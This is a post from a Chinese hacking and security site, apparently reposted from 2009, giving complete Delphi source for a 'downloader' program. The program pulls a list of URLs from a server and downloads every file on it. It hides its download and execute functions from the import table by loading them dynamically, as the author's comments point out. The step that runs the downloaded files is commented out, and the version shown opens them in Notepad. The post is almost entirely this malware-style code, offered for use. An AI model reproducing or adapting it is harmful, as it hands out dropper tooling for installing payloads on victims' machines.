为了顺应当前形势和更好的发展,黑基网已于9月19日正式更名为【安基网】,域名更换为www.safebase.cn,请卸载旧的APP并安装新的APP,给您带来不便,敬请理解!谢谢

黑基Web安全攻防班
安基网 首页 IT技术 安全攻防 查看内容

读取TXT多项下载者For Delphi

2009-1-16 11:21| 投稿: security

摘要:   作者: 小坏  无聊是拼凑了个  继续膜拜女王撒马复制内容到剪贴板代码:  //DPR  program ForDown;  {http://www.lovehuai.cn  darkzol_hu...
  作者: 小坏  无聊是拼凑了个  继续膜拜女王撒马复制内容到剪贴板代码:  //DPR  program ForDown;  {http://www.lovehuai.cn  darkzol_huai@163.com}  uses  Windows, links, Upip;  begin  links.Temp:=pchar(getip(getHttpDataByGetMethod('127.0.0.1', 80,'url.txt')));  Down;  end.  //-------------------------------------links.pas-----------------------  unit links;  {http://www.lovehuai.cn  darkzol_huai@163.com}  interface  uses  Windows;  var  //动态加载shell32.dll中的ShellExecuteA函数~嘿嘿懒得加载ShellAPI单元了~又减小一点空间~  ShellRun:function (hWnd: HWND; Operation, FileName, Parameters,Directory: PChar; ShowCmd: Integer):Cardinal; stdcall;  //动态加载Urlmon.dll中的UrlDownloadToFileA函数~还有个好处就四IAT中看不见这个函数名称~哈哈~  Downfile:function (Caller: pointer; URL: PChar; FileName: PChar; Reserved:LongWord; StatusCB: pointer): Longint; stdcall;  hShell,hUrlmon: THandle;  var  List:Array[0..1024] of String;  I:Integer;  Temp:string;  function     IntToStr(Value: Integer): string;  function     GetSystem32Dir:String;  Procedure    SplitString(lpData :Pchar; Var fsArray :Array of String);  Procedure    Download(Downurl,Temp:String);  Procedure    Down;  implementation  procedure CvtInt;  asm  or      CL,CL  JNZ     @CvtLoop  @C1:    or      EAX,EAX  JNS     @C2  NEG     EAX  CALL    @C2  MOV     AL,'-'  INC     ECX  DEC     ESI  MOV     [ESI],AL  RET  @C2:    MOV     ECX,10  @CvtLoop:  PUSH    EDX  PUSH    ESI  @D1:    XOR     EDX,EDX  DIV     ECX  DEC     ESI  ADD     DL,'0'  CMP     DL,'0'+10  JB      @D2  ADD     DL,('A'-'0')-10  @D2:    MOV     [ESI],DL  or      EAX,EAX  JNE     @D1  POP     ECX  POP     EDX  SUB     ECX,ESI  SUB     EDX,ECX  JBE     @D5  ADD     ECX,EDX  MOV     AL,'0'  SUB     ESI,EDX  JMP     @z  @zloop: MOV     [ESI+EDX],AL  @z:     DEC     EDX  JNZ     @zloop  MOV     [ESI],AL  @D5:  end;  function IntToStr(Value: Integer): string;  asm  PUSH    ESI  MOV     ESI, ESP  SUB     ESP, 16  XOR     ECX, ECX       // base: 0 for signed decimal  PUSH    EDX            // result ptr  XOR     EDX, EDX       // zero filled field width: 0 for no leading zeros  CALL    CvtInt  MOV     EDX, ESI  POP     EAX            // result ptr  CALL    System.@LStrFromPCharLen  ADD     ESP, 16  POP     ESI  end;  function GetSystem32Dir:String;  var  sTmp:Array [0..255] of Char;  begin  GetSystemDirectory(sTmp,255);  Result:=string(sTmp)+'\';  end;  Procedure SplitString(lpData :Pchar; Var fsArray :Array of String);  Var  WordCount   :Integer;  WordPos     :Integer;  begin  WordPos   :=  0;  WordCount :=  0;  Fillchar(fsArray,SizeOf(fsArray),#0);  while lpData^ <> #0 do  begin  case lpData^ of  '|'     : begin  Inc(WordCount);  WordPos:=0;  end;  else  Inc(WordPos);  SetLength(fsArray[WordCount],WordPos);  fsArray[WordCount][WordPos]:= lpData^;  end;  Inc(lpData);  end;  end;  Procedure Download(Downurl,Temp:String); //下载过程  begin  LoadLibrary('kernel32.dll');  LoadLibrary('user32.dll');  hShell:=LoadLibrary('Shell32.dll');  hUrlmon:=LoadLibrary('urlmon.dll');  @ShellRun:= GetProcAddress(hShell,'ShellExecuteA');  @Downfile:= GetProcAddress(hUrlmon,'URLDownloadToFileA');  if Downfile(nil,PChar(Downurl),PChar('c:\'+ Temp + '.txt'), 0, nil)= S_OK then  begin  //  ShellRun(0,'open',PChar ('NOTEPAD.EXE  '+ 'c:\'+ PChar(Temp) + '.exe'),nil,nil,5);  WinExec(PChar ('NOTEPAD.EXE  '+ 'c:\'+ (Temp) + '.txt'),SW_SHOW);  end  else  ExitProcess(0);  end;  procedure Down;  //下载过程  begin  SplitString(PChar(Temp),List);  for I:=0 to 1024 do  begin  Download(PChar(List[I]),PChar(Inttostr(I)));  end;  end;  end.  //--------------------------------------------------------udip.pas-----------  unit Upip;  {http://www.lovehuai.cn  darkzol_huai@163.com}  interface  uses  Windows,  winsock;  function GetIp(data :string): string;  function getHttpDataByGetMethod(Server:String;Port:integer;Url:String):String;  implementation  function Inttostr(const Int: integer): string;  var  d, m: integer;  A:boolean;  begin  if Int=0 then  begin  result:='0';  exit;  end;  result:='';  A:= int >= 0;  if A then m := int  else m := -int;  result:='';  while m <> 0 do  begin  d := m mod 10;  m := m div 10;  Result := chr(d + 48) + Result;  end;  if not A then Result:='-'+Result;  end;  function getHttpDataByGetMethod(Server:String;Port:integer;Url:String):String; //通过GET 得到URL的返回值  var  len,s:integer;  name:sockaddr_in;  he:PHostEnt;  buf:array[0..1023]of char;  str,data:string;  wsd:WSADATA;  begin  WSAStartup($101,wsd);  s:=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);  he:=gethostbyname(PChar(Server));  FillChar(name,sizeof(name),0);  name.sin_family:=AF_INET;  name.sin_port:=htons(Port);  name.sin_addr.S_addr:=PDWORD(PDWORD(he.h_addr)^)^;  connect(s,name,sizeof(name));  str := 'GET /'+ Url +' HTTP/1.1'#13#10;  str := str + 'Referer: http://' + Server;  str := str + ':' + IntToStr(Port);  str := str + '/' + Url + #13#10;  str := str + 'User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; MyIE 3.01)'#13#10;  str := str + 'Host: ' + Server;  str := str + ':' + IntToStr(Port);  str := str + ''#13#10;  str := str + 'Connection: Close'#13#10;  str := str + 'Cache-Control: no-cache'#13#10;  str := str + #13#10;  send(s,PChar(str)^,Length(str),0);  while true do  begin  len:=recv(s,buf,sizeof(buf),0);  if len<1 then  break;  SetString(str,buf,len);  data:=data+str;  end;  closesocket(s);  WSACleanup();  Result := data;  end;  function StrToIntDef(const S: string; Default: Integer): Integer;  var  E: Integer;  begin  Val(S, Result, E);  if E <> 0 then Result := Default;  end;  //分析上面GET函数得到的数据,剥离出IP地址出来  function GetIp(data :string): string;  var  i: integer;  begin  i := pos(#13#10#13#10,Data);  if i>0 then  result:= Copy(Data, i+4, Length(Data)-i+4+1);  end;  end.

小编推荐:欲学习电脑技术、系统维护、网络管理、编程开发和安全攻防等高端IT技术,请 点击这里 注册黑基账号,公开课频道价值万元IT培训教程免费学,让您少走弯路、事半功倍,好工作升职加薪!



免责声明:本文由投稿者转载自互联网,版权归原作者所有,文中所述不代表本站观点,若有侵权或转载等不当之处请联系我们处理,让我们一起为维护良好的互联网秩序而努力!联系方式见网站首页右下角。


鲜花

握手

雷人

路过

鸡蛋

相关阅读

最新评论

最新

返回顶部